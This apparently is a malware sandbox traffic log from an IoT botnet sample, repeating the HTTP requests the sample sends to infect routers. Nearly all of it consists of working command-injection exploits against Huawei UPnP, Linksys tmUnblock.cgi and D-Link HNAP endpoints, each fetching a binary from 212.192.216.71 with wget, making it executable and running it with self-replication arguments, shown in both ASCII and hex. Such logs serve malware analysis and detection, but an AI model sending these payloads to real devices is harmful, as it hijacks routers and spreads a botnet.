3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |